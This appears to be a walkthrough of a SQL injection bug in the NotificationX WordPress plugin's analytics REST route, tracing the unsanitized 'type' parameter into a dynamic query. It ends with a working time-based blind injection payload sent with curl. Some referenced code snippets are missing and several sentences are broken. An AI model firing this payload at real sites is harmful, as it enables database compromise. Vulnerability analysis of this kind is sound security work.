
Step-by-step technical analysis of CVE-2019-1698, a WordPress plugin SQL injection vulnerability, with code diff review, vulnerable function identification, and exploitation demonstration using curl.
Code reference 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

Code reference 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

Therefore, the following file is relevant to this CVE:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
Now, we will check the file might have vuln code:
Focus on the insert_analytics() function:
It receives the (coming from the user) and extracts the parameter.
$requesttypeThen, this value is then passed to the CoreAnalytics::get_instance()->insert_analytics() function:

To trigger this code, we can notice the mapped route (from the Analytics class, inside the register_routes() function):
$this->namespace . '/' . $this->rest_base
And the constructor for the Analytics class reveals the values for the namespace and rest_base variables:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
So, the relevant (vulnerable) code that accepts the user-supplied type parameter, can be reached via the following route:
notificationx/v1/analytics
But what's the method for exploiting and where is the SQL query for injection?
Since the user-supplied type parameter is passed to:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
Locating this function:
Let's check this function code in the highlighted file:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

If you are thinking that it the vulnerability lies in the increment_count() function, then you are absolutely on the right track!
Here's the increment_count function (and it has the $type parameter coming from the user):

This function in-turn calls update_analytics() function. Let's address for it:


The update_analytics function creates an SQL query dynamically and the unsanitized user-input is a part of it. Smells fishy? It should, because this is what causes the vulnerability.
The $col parameter corresponds to the type parameter sent by the user, in the HTTP request.
The $table_name is set to: nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
To identify the correct verb, I leveraged the WordPress REST API:
http://localhost/wp-json/

The /notificationx/v1/analytics API route can be triggered by a POST request and we have to pass the nx_id (an integer) and (optionally) the type (a string).
Remember, that the analytics information was updated in the table named nx_stats, which we deduced earlier using these code snippets from wp-content/plugins/notificationx/includes/Core/Database.php:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

Our plan is to see the constructed SQL query when we pass our payload in the request.
And now, we will send our curl (with the SQLi payload) request again:
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
